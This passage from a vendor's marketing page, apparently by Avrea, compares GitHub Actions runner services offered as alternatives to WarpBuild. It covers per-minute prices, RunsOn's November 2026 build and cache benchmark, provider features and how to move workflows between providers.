pick - Avrea, if build time matters most. It finished all four builds in RunsOn’s November benchmark sooner than WarpBuild, and charges WarpBuild’s 2-vCPU x86 rate. - RunsOn, if runners have to stay in your own AWS account, as WarpBuild’s BYOC runners do. - Ubicloud, if the per-minute rate matters most. - Depot or Namespace, if you want to keep a remote Docker builder. - GitHub’s larger runners, if you’d rather keep CI with one vendor. ## Prices for a 2-vCPU Linux runner Prices checked 11 November 2026. Avrea, Blacksmith and WarpBuild charge $0.004 a minute for a 2-vCPU x86 runner with 8 GB, and Namespace charges the same within a paid plan. ARM prices vary more, partly because the hardware does. *WarpBuild alternatives: prices for a 2-vCPU Linux runner* | Provider | x86 | ARM | Plan fee | Included | | --- | --- | --- | --- | --- | | WarpBuild | $0.004 | $0.003 | None | $10 credit at signup | | Avrea | $0.004 | $0.012 | None | 3,000 minutes | | Blacksmith | $0.004 | $0.0025 | None | 3,000 minutes | | Depot | $0.006 | $0.006 | $20 or $200 | 2,000 or 20,000 minutes | | Namespace | $0.004 in plan | $0.004 in plan | $0 or $100 | 25,000 minutes on Team | | Ubicloud | $0.00125 | $0.00125 | None | $2.50 credit a month | | RunsOn | AWS price | AWS price | From €300 a year | 15-day trial | | GitHub-hosted | $0.006 | $0.005 | GitHub plan | $12 to $300 of usage | Prices are per minute for a 2-vCPU Linux runner with 8 GB; Blacksmith’s and Ubicloud’s ARM runners have 6 GB. WarpBuild’s BYOC runners cost $0.002 a minute plus your own cloud bill. Depot’s plans are $20 for one user and $200 for unlimited users. Namespace charges $0.006 beyond a paid plan’s included minutes, and its $100 Team plan’s 100,000 unit minutes cover 25,000 minutes on 2-vCPU, 8-GB runners. Ubicloud’s premium x86 runners cost $0.002. Avrea’s ARM runners are Apple M5 Max machines. WarpBuild also sells Linux ARM runners on Apple silicon, from 6 vCPU at $0.08 a minute, and Namespace has them in early access; WarpBuild’s standard ARM runners and the others here use server processors such as Graviton4, AmpereOne and Ampere Altra. The build results below show what that difference does to job time, and a job that finishes sooner bills fewer minutes. Rates exclude storage, add-ons and enterprise terms. Each provider converts included usage into runner minutes at its own ratio. Avrea’s monthly credit is equivalent to 3,000 minutes on 2-vCPU Linux x86 runners and is shared with other metered usage, including persistent disks and static IPs. Avrea and Depot meter jobs by the second; GitHub rounds each job up to a whole minute. Standard GitHub-hosted runners are free in public repositories. On macOS, Avrea’s smallest runner has 8 vCPU and 24 GB on Apple M5 Max for $0.08 a minute. WarpBuild (M4 Pro or M5 Pro) and Blacksmith (M4) charge the same for 6 vCPU, and Depot for 8 vCPU. Namespace starts at $0.04 for 4 vCPU within a plan, and GitHub’s standard macOS runner is $0.062. Ubicloud and RunsOn have no macOS runners. Sources: [WarpBuild pricing](https://www.warpbuild.com/pricing), [Avrea pricing](https://avrea.com/pricing), [Blacksmith pricing](https://www.blacksmith.sh/pricing) and [runner specifications](https://docs.blacksmith.sh/blacksmith-runners/overview), [Depot pricing](https://depot.dev/pricing) and [runner types](https://depot.dev/docs/github-actions/runner-types), [Namespace pricing](https://namespace.so/pricing), [Ubicloud pricing](https://www.ubicloud.com/docs/about/pricing), [RunsOn pricing](https://runs-on.com/pricing/), [GitHub runner rates](https://docs.github.com/en/billing/reference/actions-runner-pricing) and [included usage](https://docs.github.com/en/billing/concepts/product-billing/github-actions). ## Build and cache results at 4 vCPU RunsOn, a runner vendor that also appears in the table, runs a public benchmark that builds the same projects on every provider’s runners, with its [workflows and method](https://runs-on.com/benchmarks/methodology/) published. The 4 November 2026 run built two projects from a cold start on 4-vCPU, 16-GB runners: the Rust project spotify-player, with its tests and clippy, and PostHog’s production Docker image. The table shows median build times from five runs, and the median time to restore a 4 GB file through `actions/cache` in the 5 November cache test. Depot is not in the benchmark. *WarpBuild alternatives: build and cache results at 4 vCPU* | 4-vCPU runner | Rust, x86 | Rust, ARM | Docker, x86 | Docker, ARM | Cache, x86 | | --- | --- | --- | --- | --- | --- | | WarpBuild | 129 s | 181 s | 447 s | 602 s | 24 s | | Avrea | 86 s | 77 s | 292 s | 286 s | 11 s | | Blacksmith | 100 s | 243 s | 301 s | 626 s | 12 s | | Namespace | 91 s | 340 s | 280 s | 800 s | 18 s | | RunsOn | 99 s | 106 s | 403 s | 384 s | 7 s | | GitHub-hosted | 213 s | 190 s | 773 s | 599 s | 44 s | | Ubicloud | 139 s | 341 s | 637 s | 821 s | 70 s | Avrea finished every build sooner than WarpBuild: 1.5 times faster on both x86 builds, 2.4 times faster on the ARM Rust build and 2.1 times faster on the ARM Docker image. It also had the fastest ARM build of any provider in both projects. On x86, Avrea had the fastest Rust build and Namespace built the Docker image 12 seconds sooner. These builds start without a warm cache, so they measure the machine and its network rather than cache reuse. WarpBuild’s and Namespace’s cache times use GitHub’s cache service, because their own caches need a different action. Namespace’s ARM row is its AmpereOne runner; its Apple silicon Linux runner, in early access, built the two projects in 81 and 309 seconds. WarpBuild’s ARM row is its standard 4-vCPU runner; its Apple silicon ARM runners start at 6 vCPU. RunsOn’s row is its fastest EC2 instance with an EBS or local NVMe disk in each test, and Ubicloud’s is its standard runner. Where a run failed, the median covers the successful runs. *Data: RunsOn, [benchmarks](https://runs-on.com/benchmarks/) and [cache results](https://runs-on.com/benchmarks/github-actions-cache-performance/), CC BY 4.0. We selected the 4-vCPU rows.* ## The alternatives ### Avrea We build Avrea. It runs GitHub Actions jobs on dedicated machines: Linux x86, Linux ARM and macOS on Apple M5 Max, and Windows Server 2025. At WarpBuild’s x86 rates it finished every build above sooner, and its ARM runner had the fastest ARM builds in the benchmark. Supported `actions/cache` calls go to Avrea’s cache without workflow changes, with 25 GB per repository shared across Actions, LFS, build and package caches. Integrations for Turborepo, Gradle, Bazel, Nx, Go and sccache let a cache hit skip compilation or tests, and persistent disks keep Docker builder state between jobs for $0.50 per provisioned GB a month. Each job has searchable logs, CPU and memory metrics and SSH, and workflow analytics track failure and flake rates. Avrea AI, in beta, proposes a fix for a failing job and runs your tests on it before opening a pull request. Avrea is a hosted service. For teams that need network controls, the Enterprise plan adds an egress firewall and static IPs. Avrea is ISO 27001:2022 certified and SOC 2 Type II attested. [Read the full Avrea and WarpBuild comparison](https://avrea.com/avrea-vs-warpbuild). ### Blacksmith Blacksmith runs managed runners with no plan fee and 3,000 free minutes a month, at $0.004 a minute for 2-vCPU x86 and $0.0025 for 2-vCPU ARM. Its Actions cache needs no workflow changes and includes 25 GB per repository at no extra charge. Docker builds run on the runner, with layers kept on a sticky disk through Blacksmith’s own setup and build actions. macOS runs on M4 from 6 vCPU, and jobs run in four regions across the US and Europe. [Avrea vs Blacksmith](https://avrea.com/avrea-vs-blacksmith). ### Depot Depot pairs its runners with remote Docker builders. `depot build` and `depot/build-push-action` send the build to a remote 16-CPU BuildKit machine with a persistent layer cache, billed at $0.04 a minute after the plan’s 500 or 5,000 included minutes. Its runners charge the same rate for x86 (AMD EPYC) and ARM (Graviton4) and come with a $20 single-user or $200 unlimited-user plan. Depot Cache also serves Bazel, Gradle, Turborepo, Nx and sccache, and its Business plan can deploy runners into your AWS account. [Avrea vs Depot](https://avrea.com/avrea-vs-depot). ### Namespace Namespace sells runners, remote Docker builders, cache volumes and devboxes from one account. Prices are set in unit minutes: a 2-vCPU, 8-GB Linux runner costs $0.004 a minute within a paid plan and $0.006 beyond it, and the Team plan is $100 a month. GitHub’s cache keeps working unchanged; Namespace’s NVMe cache volumes need its cache action and a few workflow edits. Linux ARM runs on AmpereOne, with Apple silicon Linux in early access, and Windows needs the Team plan or above. [Avrea vs Namespace](https://avrea.com/avrea-vs-namespace). ### Ubicloud Ubicloud’s managed runners are part of an open-source cloud platform and have the lowest hosted rate here, $0.00125 a minute for a standard 2-vCPU runner on x86 or ARM. Premium x86 runners cost $0.002, and new accounts get them by default. The transparent cache works without workflow changes and includes 30 GB per repository. Jobs run in European data centres by default, and there are no macOS or Windows runners. [Avrea vs Ubicloud](https://avrea.com/avrea-vs-ubicloud). ### RunsOn RunsOn starts a fresh EC2 instance in your own AWS account for each job, from one CloudFormation stack. You pay AWS for the instances and a small control plane, and RunsOn a flat licence from €300 a year for under 50,000 jobs a month; it is free for non-profit, open-source and personal non-commercial projects. RunsOn’s own calculator puts a 4-vCPU spot instance at $0.0014 a minute in us-east-1, before the licence and control plane. Linux and Windows run on x86, ARM and GPU instances, and macOS jobs stay on GitHub’s runners. You manage the AWS account and its capacity, as with WarpBuild’s BYOC runners, but only on AWS. ### GitHub-hosted runners Staying on GitHub keeps CI with one vendor and one bill. Standard 2-core Linux runners are free in public repositories and $0.006 a minute in private ones. Larger runners need a Team or Enterprise Cloud plan, are billed in public repositories too, and cost $0.012 a minute for 4-core x86 and $0.008 for 4-core ARM. Each plan includes $12 to $300 of usage a month. [Avrea vs GitHub-hosted runners](https://avrea.com/avrea-vs-github-hosted-runners). ### Self-hosted runners with Actions Runner Controller Actions Runner Controller runs GitHub’s self-hosted runner on your own Kubernetes cluster, in any cloud. GitHub doesn’t charge for self-hosted runner minutes, so the cost is the cluster and the time it takes to run it: images, autoscaling, cache storage and security updates are yours. ## When staying on WarpBuild makes sense WarpBuild is the one provider here that deploys managed runners into AWS, GCP or Azure, at $0.002 a minute plus the cloud bill, with cache and snapshots included. A team that has to keep CI inside its own cloud network, on GCP or Azure in particular, has no hosted equivalent among the others. Its 2-vCPU ARM rate, $0.003 a minute, is below Avrea’s and GitHub’s, it offers Linux ARM on Apple silicon as well as on server processors, and macOS runs on M4 Pro or M5 Pro at 6 and 12 vCPU. Moving means changing each job’s runner label and, where a workflow uses `WarpBuilds/cache`, switching it back to `actions/cache`. The first runs elsewhere start with a cold cache. ## Common questions ### Which is the fastest WarpBuild alternative? Avrea, in RunsOn’s 4 November 2026 run on 4-vCPU runners. It had the fastest ARM builds of both projects and the fastest x86 Rust build, and restored the cache fastest of the hosted providers. Namespace built the x86 Docker image 12 seconds sooner than Avrea. Depot is not in the benchmark. ### Is Avrea faster than WarpBuild? In the same run, Avrea finished all four builds sooner than WarpBuild: the x86 Rust build in 86 seconds against 129, the x86 Docker image in 292 against 447, and the ARM builds 2.4 and 2.1 times faster. Both charge $0.004 a minute for a 2-vCPU x86 runner, so on x86 the same job bills fewer minutes on Avrea. ### What is the cheapest alternative to WarpBuild? Per minute, Ubicloud’s standard runners: $0.00125 for 2 vCPU on x86 or ARM. If you use WarpBuild’s BYOC runners on AWS, compare RunsOn, which also bills through your own AWS account, plus its annual licence. Per job, speed counts as well: Avrea charges WarpBuild’s x86 rate and finished the same x86 builds in about two thirds of the time. ### Which WarpBuild alternatives run in my own cloud account? RunsOn runs in your AWS account. Depot offers deployment into your AWS account on its Business plan. Actions Runner Controller runs on any Kubernetes cluster you operate, in any cloud. None of them covers GCP and Azure as a managed service, as WarpBuild’s BYOC runners do. Avrea, Blacksmith, Namespace and Ubicloud are hosted services; Avrea’s Enterprise plan adds an egress firewall and static IPs for teams that need network controls. ### Which alternatives have macOS runners? Avrea runs macOS 26 on Apple M5 Max at 8 and 16 vCPU. Blacksmith runs M4 at 6 vCPU, Depot runs macOS 26 on M4 at 8 vCPU, Namespace offers Apple silicon from 4 vCPU, and GitHub has standard and larger macOS runners. Ubicloud and RunsOn don’t run macOS. ### How do I move a workflow off WarpBuild? Change the job’s `runs-on` label to the new provider’s, for example `avrea-ubuntu-latest` for Avrea’s 2-vCPU, 8-GB x86 runner. On Avrea, the console’s migration wizard converts a workflow and opens the pull request for you. If a workflow uses `WarpBuilds/cache`, switch it back to `actions/cache`, which Avrea serves from its own cache without further changes. Expect the first runs to rebuild caches from scratch, and compare a cold run, a repeat of the same commit and a typical change before deciding. ## Related reading - [Avrea vs WarpBuild](https://avrea.com/avrea-vs-warpbuild): pricing, ARM and macOS hardware, caching and running in your own cloud. - [GitHub Actions runner prices compared](https://avrea.com/github-actions-runner-pricing): every provider’s rates and the cost of one build. - [Fastest ARM runners for GitHub Actions](https://avrea.com/blog/fastest-arm-github-actions-runners): the ARM build results in detail. - [All runner comparisons](https://avrea.com/alternatives): the wider provider comparison. ## Try one job on Avrea Connect a repository with the [setup guide](https://docs.avrea.com/getting-started/), then change one job’s runner label. Run the same commits on both providers and compare duration and cost, including a cold cache. [Try Avrea](https://console.avrea.com) · [Runner sizes and pricing](https://avrea.com/pricing)